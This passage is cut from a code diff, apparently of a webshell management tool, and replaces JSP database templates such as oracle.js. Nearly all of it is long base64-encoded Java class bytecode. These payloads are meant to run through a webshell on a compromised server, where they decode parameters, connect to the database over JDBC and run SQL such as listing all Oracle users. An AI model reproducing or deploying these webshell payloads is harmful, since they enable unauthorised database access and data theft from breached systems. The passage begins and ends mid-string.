5nOwEALChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7AQAGZ2V0T3V0AQAfKClMamF2YXgvc2VydmxldC9qc3AvSnNwV3JpdGVyOwEAG2phdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcgEABXByaW50AQAIZ2V0Qnl0ZXMBAAQoKVtCAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYBABFqYXZhL2xhbmcvSW50ZWdlcgEACHBhcnNlSW50AQAVKExqYXZhL2xhbmcvU3RyaW5nOylJAQAJc3Vic3RyaW5nAQAVKEkpTGphdmEvbGFuZy9TdHJpbmc7AQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAQamF2YS9sYW5nL1N5c3RlbQEAC2dldFByb3BlcnR5AQAJY29tcGFyZVRvAQAHZm9yTmFtZQEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsBAAlnZXRNZXRob2QBAEAoTGphdmEvbGFuZy9TdHJpbmc7W0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9NZXRob2Q7AQAYamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kAQAGaW52b2tlAQA5KExqYXZhL2xhbmcvT2JqZWN0O1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAIZ2V0Q2xhc3MBABMoKUxqYXZhL2xhbmcvQ2xhc3M7AQAWZ2V0RGVjbGFyZWRDb25zdHJ1Y3RvcgEAMyhbTGphdmEvbGFuZy9DbGFzczspTGphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yOwEAHWphdmEvbGFuZy9yZWZsZWN0L0NvbnN0cnVjdG9yAQALbmV3SW5zdGFuY2UBACcoW0xqYXZhL2xhbmcvT2JqZWN0OylMamF2YS9sYW5nL09iamVjdDsBAAR0cmltAQAHcmVwbGFjZQEARChMamF2YS9sYW5nL0NoYXJTZXF1ZW5jZTtMamF2YS9sYW5nL0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',
+    [arg1]: '#{newbase64::encode}',
+    [arg2]: '#{newbase64::conn}',
+    [arg3]: '#{newbase64::sql}'
+  }
+})

source/core/jsp/template/database/oracle.js

-/*
-<T>XDB</T>
-<X>
-oracle.jdbc.driver.OracleDriver
-jdbc:oracle:thin:user/password@127.0.0.1:1521/test
-</X>
-*/
+//
+// oracle 模板
+//
+// @params
+// :encode  SHELL编码
+// :conn    数据库连接字符串
+// :sql     执行SQL语句
+// :db      数据库名
+// :table   表名
 
-module.exports = () => ({
+module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
     show_databases: {
-      _: 'yv66vgAAADIA+goASwBvBwBwCgACAHEKAAIAcggATAsAcwB0CAB1CQBKAHYIAHcIAHgJAEoAeQcAegoADAB7CAB8CwB9AH4LAHMAfwsAfQB/BwCACgASAG8IAIEKABIAggoAEgCDCgBKAIQKAEoAhQgAhggAhwoADACICgBKAIkKAAwAgwgAigoAAgCLCgCMAI0HAI4IAI8KACEAgwgAkAoAJgCRBwCSCgAmAJMKACYAlAgAlQgAlgoAJgCXBwCYCgAmAJkKACwAmgoAJgCbCgAmAJwKABIAnQgAngoALACfCgAsAKAIAKEHAKIKADYAbwoANgCjCgAmAKQIAKUIAKYKACYApwoAJgCoCgCpAKoKAKsArAsArQCuCwCvALALALEAsgsAswC0CwCzALULALEAtgsAsQC3CAC4CAC5CgBKALoHAGsHALsBAAdlbmNvZGVyAQASTGphdmEvbGFuZy9TdHJpbmc7AQACY3MBAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQAGZXF1YWxzAQAVKExqYXZhL2xhbmcvT2JqZWN0OylaAQANU3RhY2tNYXBUYWJsZQcAawcAuwcAcAcAvAcAvQcAawcAkgcAegcAjgEAAkVDAQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsBAApFeGNlcHRpb25zAQAGZGVjb2RlBwCYAQAKZXhlY3V0ZVNRTAEAbyhMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztaKUxqYXZhL2xhbmcvU3RyaW5nOwcAvgcAvwcAwAcAwQcAwgEADXNob3dEYXRhYmFzZXMBADgoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEAClNvdXJjZUZpbGUBABJzaG93RGF0YWJhc2VzLmphdmEMAE8AUAEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADDAMQMAMUAxgcAvAwAxwBgAQAADABMAE0BAAdjaGFyc2V0AQAFVVRGLTgMAE4ATQEAFmphdmEvbGFuZy9TdHJpbmdCdWZmZXIMAE8AyAEACXRleHQvaHRtbAcAvQwAyQDIDADKAMgBABdqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcgEABHZhcjAMAMsAzAwAzQDODABiAGAMAF8AYAEABHZhcjEBAAMtPnwMAMsAzwwAawBsAQADfDwtDADQANEHANIMANMAyAEAE2phdmEvbGFuZy9FeGNlcHRpb24BAAlFUlJPUjovLyABAANoZXgMAFMAVAEAEGphdmEvbGFuZy9TdHJpbmcMANQA1QwATwDWAQAEbnVsbAEAEDAxMjM0NTY3ODlBQkNERUYMANcAzgEAHWphdmEvaW8vQnl0ZUFycmF5T3V0cHV0U3RyZWFtDADYANkMAE8A2gwA2wDcDADdAN4MAMsA3wEAASwMAOAA2gwAzQBgAQAGYmFzZTY0AQAWc3VuL21pc2MvQkFTRTY0RGVjb2RlcgwA4QDiDADjAM4BAAINCgEAAQoMAOQA5QwA5gDnBwDoDADpAOoHAOsMAOwA7QcAvwwA7gDvBwDADADwAPEHAMEMAPIA8wcAwgwA9ADZDAD1APYMAPcA+AwA+QD2AQApU0VMRUNUIFVTRVJOQU1FIEZST00gQUxMX1VTRVJTIE9SREVSIEJZIDEBAAEJDABkAGUBABBqYXZhL2xhbmcvT2JqZWN0AQAcamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdAEAHWphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlAQATW0xqYXZhL2xhbmcvU3RyaW5nOwEAE2phdmEvc3FsL0Nvbm5lY3Rpb24BABJqYXZhL3NxbC9TdGF0ZW1lbnQBABJqYXZhL3NxbC9SZXN1bHRTZXQBABpqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YQEACmdldFJlcXVlc3QBACAoKUxqYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXF1ZXN0OwEAC2dldFJlc3BvbnNlAQAhKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVzcG9uc2U7AQAMZ2V0UGFyYW1ldGVyAQAVKExqYXZhL2xhbmcvU3RyaW5nOylWAQAOc2V0Q29udGVudFR5cGUBABRzZXRDaGFyYWN0ZXJFbmNvZGluZwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQALdG9VcHBlckNhc2UBAAZsZW5ndGgBAAMoKUkBAAQoSSlWAQAGY2hhckF0AQAEKEkpQwEAB2luZGV4T2YBAAQoSSlJAQAcKEkpTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEABXdyaXRlAQAMZGVjb2RlQnVmZmVyAQAWKExqYXZhL2xhbmcvU3RyaW5nOylbQgEABHRyaW0BAAdyZXBsYWNlAQBEKExqYXZhL2xhbmcvQ2hhclNlcXVlbmNlO0xqYXZhL2xhbmcvQ2hhclNlcXVlbmNlOylMamF2YS9sYW5nL1N0cmluZzsBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwEAD2phdmEvbGFuZy9DbGFzcwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBABUoSSlMamF2YS9s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',
-      'var0': '#{encode}',
-      'var1': '#{conn}'
+      _: 'yv66vgAAADMBLQoAQgB8BwB9CgACAH4KAAIAfwgAgAkAWwCBCACCCQBbAIMIAIQJAFsAhQcAhggAhwoACwCICACJCACKCACLCACMCACNCwCOAI8LAJAAkQsAjgCRBwCSCgAWAHwLAJAAkwoAFgCUCgAWAJUKAFsAlgoAWwCXCgALAJgKAFsAmQoACwCVCgACAJoKAJsAnAcAnQgAngoAIgCVCACfCgAnAKAHAKEKACcAogoAJwCjCgCkAKUKACcApggApwgAqAoAJwCpBwCqCgAnAKsKAC8ArAoAJwCtCgAnAK4KABYArwgAsAoALwCxCACyCgAvALMIALQKALUAtggAtwoAJwC4CAC5CgBAALoIALsHALwKAEAAvQcAvgoAvwDACgBCAMEIAHEHAMIIAMMKAEAAxAoAxQDGCADHCgAnAMgIAMkIAMoKACcAywoAJwDMCgDNAM4LAM8A0AsA0QDSCwDTANQLANUA1gsA1QDXCwDTANgLANMA2QgA2ggA2woAWwDcBwDdAQAHZW5jb2RlcgEAEkxqYXZhL2xhbmcvU3RyaW5nOwEAAmNzAQAMcmFuZG9tUHJlZml4AQAGPGluaXQ+AQADKClWAQAEQ29kZQEABmVxdWFscwEAFShMamF2YS9sYW5nL09iamVjdDspWgEADVN0YWNrTWFwVGFibGUHAN0HAL4HAH0HAN4HAN8HAIYHAKEHAJ0BAAJFQwEASihMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmc7AQAKRXhjZXB0aW9ucwEABmRlY29kZQcAqgEACmV4ZWN1dGVTUUwBAG8oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7WilMamF2YS9sYW5nL1N0cmluZzsHAOAHAOEHAOIHAOMHAOQBAA1zaG93RGF0YWJhc2VzAQA4KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsMAGAAYQEAHWphdmF4L3NlcnZsZXQvanNwL1BhZ2VDb250ZXh0DADlAOYMAOcA6AEAFGFudHN3b3JkcmFuZG9tUHJlZml4DABfAF0BAAZiYXNlNjQMAFwAXQEAD2FudHN3b3JkQ2hhcnNldAwAXgBdAQAWamF2YS9sYW5nL1N0cmluZ0J1ZmZlcgEAAAwAYADpAQADLT58AQADfDwtAQARYW50c3dvcmRhcmdlbmNvZGUBAA9hbnRzd29yZGFyZ2Nvbm4BAAl0ZXh0L2h0bWwHAN8MAOoA6QcA3gwA6wDpAQAXamF2YS9sYW5nL1N0cmluZ0J1aWxkZXIMAOwA7QwA7gDvDADwAPEMAHEAbwwAbgBvDADuAPIMAHoAewwA8wD0BwD1DAD2AOkBABNqYXZhL2xhbmcvRXhjZXB0aW9uAQAJRVJST1I6Ly8gAQADaGV4DABjAGQBABBqYXZhL2xhbmcvU3RyaW5nDAD3APgMAGAA+QcA+gwA+wD8DAD9AP4BAARudWxsAQAQMDEyMzQ1Njc4OUFCQ0RFRgwA/wDxAQAdamF2YS9pby9CeXRlQXJyYXlPdXRwdXRTdHJlYW0MAQABAQwAYAECDAEDAQQMAQUBBgwA7gEHAQABLAwBCAECAQAFVVRGLTgMAPAA7QEADGphdmEudmVyc2lvbgcBCQwBCgDtAQADMS45DAELAPwBABBqYXZhLnV0aWwuQmFzZTY0DAEMAQ0BAApnZXREZWNvZGVyAQAPamF2YS9sYW5nL0NsYXNzDAEOAQ8BABBqYXZhL2xhbmcvT2JqZWN0BwEQDAERARIMARMBFAEAAltCAQAWc3VuLm1pc2MuQkFTRTY0RGVjb2RlcgwBFQEWBwEXDAEYARkBAAxkZWNvZGVCdWZmZXIMARoA8QEAAg0KAQABCgwBGwEcDAEdAR4HAR8MASABIQcA4QwBIgEjBwDiDAEkASUHAOMMASYBJwcA5AwBKAEBDAEpAP4MASoBKwwBLAD+AQApU0VMRUNUIFVTRVJOQU1FIEZST00gQUxMX1VTRVJTIE9SREVSIEJZIDEBAAEJDABzAHQBAA5TaG93X2RhdGFiYXNlcwEAHGphdmF4L3NlcnZsZXQvU2VydmxldFJlcXVlc3QBAB1qYXZheC9zZXJ2bGV0L1NlcnZsZXRSZXNwb25zZQEAE1tMamF2YS9sYW5nL1N0cmluZzsBABNqYXZhL3NxbC9Db25uZWN0aW9uAQASamF2YS9zcWwvU3RhdGVtZW50AQASamF2YS9zcWwvUmVzdWx0U2V0AQAaamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGEBAApnZXRSZXF1ZXN0AQAgKClMamF2YXgvc2VydmxldC9TZXJ2bGV0UmVxdWVzdDsBAAtnZXRSZXNwb25zZQEAISgpTGphdmF4L3NlcnZsZXQvU2VydmxldFJlc3BvbnNlOwEAFShMamF2YS9sYW5nL1N0cmluZzspVgEADnNldENvbnRlbnRUeXBlAQAUc2V0Q2hhcmFjdGVyRW5jb2RpbmcBAAxnZXRQYXJhbWV0ZXIBACYoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmFwcGVuZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9TdHJpbmdCdWlsZGVyOwEACHRvU3RyaW5nAQAUKClMamF2YS9sYW5nL1N0cmluZzsBACwoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvU3RyaW5nQnVmZmVyOwEABmdldE91dAEAHygpTGphdmF4L3NlcnZsZXQvanNwL0pzcFdyaXRlcjsBABtqYXZheC9zZXJ2bGV0L2pzcC9Kc3BXcml0ZXIBAAVwcmludAEACGdldEJ5dGVzAQAEKClbQgEAFyhbQkxqYXZhL2xhbmcvU3RyaW5nOylWAQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQEACXN1YnN0cmluZwEAFShJKUxqYXZhL2xhbmcvU3RyaW5nOwEAC3RvVXBwZXJDYXNlAQAGbGVuZ3RoAQADKClJAQAEKEkpVgEABmNoYXJBdAEABChJKUMBAAdpbmRleE9mAQAEKEkpSQEAHChJKUxqYXZhL2xhbmcvU3RyaW5nQnVpbGRlcjsBAAV3cml0ZQEAEGphdmEvbGFuZy9TeXN0ZW0BAAtnZXRQcm9wZXJ0eQEACWNvbXBhcmVUbwEAB2Zvck5hbWUBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQAJZ2V0TWV0aG9kAQBAKExqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL0NsYXNzOylMamF2YS9sYW5nL3JlZmxlY3QvTWV0aG9kOwEAGGphdmEvbGFuZy9yZWZsZWN0L01ldGhvZAEABmludm9rZQEAOShMamF2YS9sYW5nL09iamVjdDtbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwEACGdldENsYXNzAQATKClMamF2YS9sYW5nL0NsYXNzOwEAFmdldERlY2xhcmVkQ29uc3RydWN0b3IBADMoW0xqYXZhL2xhbmcvQ2xhc3M7KUxqYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcjsBAB1qYXZhL2xhbmcvcmVmbGVjdC9Db25zdHJ1Y3RvcgEAC25ld0luc3RhbmNlAQAnKFtMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7AQAEdHJpbQEAB3JlcGxhY2UBAEQoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7TGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL2xhbmcvU3RyaW5nOwEABXNwbGl0AQAnKExqYXZhL2xhbmcvU3RyaW5nOylbTGphdmEvbGFuZy9TdHJpbmc7AQAWamF2YS9zcWwvRHJpdmVyTWFuYWdlcgEADWdldENvbm5lY3Rpb24BAE0oTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9Db25uZWN0aW9uOwEAD2NyZWF0ZVN0YXRlbWVudAEAFigpTGphdmEvc3FsL1N0YXRlbWVudDsBAAxleGVjdXRlUXVlcnkBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL3NxbC9SZXN1bHRTZXQ7AQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsBAA5nZXRDb2x1bW5Db3VudAEADWdldENvbHVtbk5hbWUBAARuZXh0AQADKClaAQAJZ2V0U3RyaW5nACEAWwBCAAAAAwABAFwAXQAAAAEAXgBdAAAAAQBfAF0AAAAGAAEAYABhAAEAYgAAABEAAQABAAAABSq3AAGxAAAAAAABAGMAZAABAGIAAAFvAAUADQAAAScrwAACTSy2AANOLLYABDoEKhIFtQAGKhIHtQAIKhIJtQAKuwALWRIMtwANOgW7AAtZEgy3AA06BhIOOgcSDzoIEhA6CRIROgoZBBISuQATAgAtKrQACrkAFAIAGQQqtAAKuQAVAgAqKrsAFlm3ABctGQm5ABgCALYAGRIMtgAZtgAaKrQACCq0AAq2ABsqtAAIKrQACrYAHDoLKiq7ABZZtwAXLRkKuQAYAgC2ABkSDLYAGbYAGiq0AAgqtAAKtgAbKrQACCq0AAq2ABw6DBkFGQe2AB1XGQYqGQsZDLYAHrYAHVcZBRkGtgAftgAdVxkFGQi2AB1XLLYAIBkFtgAftgAhpwAiOgsZBrsAFlm3ABcSI7YAGRkLtgAktgAZtgAatgAdVwSsAAEASAEDAQYAIgABAGUAAAAuAAL/AQYACwcAZgcAZwcAaAcAaQcAagcAawcAawcAbAcAbAcAbAcAbAABBwBtHgAAAG4AbwACAGIAAAA0AAQABAAAAB4sEiW2ACaaAAksEiWmAAUrsLsAJ1krtgAoLbcAKbAAAAABAGUAAAAEAAIPAQBwAAAABAABACIAAABxAG8AAgBiAAAB7QAGAAkAAAGCAzYEKrQABrgAKjYEKxUEtgArTKcACDoFAzYELBIltgAmmgAJLBIlpgCfKxIspQAMKxIstgAmmQAGEgywEi06BSu2AC5MuwAvWSu2ADAFbLcAMToGEgw6BwM2CBUIK7YAMKIAXbsAFlm3ABcZB7YAGRkFKxUItgAytgAzB3gZBSsVCARgtgAytgAzgLYANBI1tgAZtgAaOgcZBhkFKxUItgAytgAzB3gZBSsVCARgtgAytgAzgLYANoQIAqf/oBkGEje2ADiwLBIHtgAmmgAJLBIHpgCuAToFEjm4ADo6BhkGEju2ADybAEwSPbgAPjoHGQcSPwO9AEC2AEEZBwO9AEK2AEM6CBkItgBEEkUEvQBAWQMTACdTtgBBGQgEvQBCWQMrU7YAQ8AARsAARjoFpwBFEke4AD46BxkHA70AQLYASAO9AEK2AEk6CBkItgBEEkoEvQBAWQMTACdTtgBBGQgEvQBCWQMrU7YAQ8AARsAARjoFuwAnWRkFEje3ACmwK7AAAQADABMAFgAiAAEAZQAAAFEADP8AFgAFBwBmBwBsBwBsBwBsAQABBwBtBA4OAv8AHg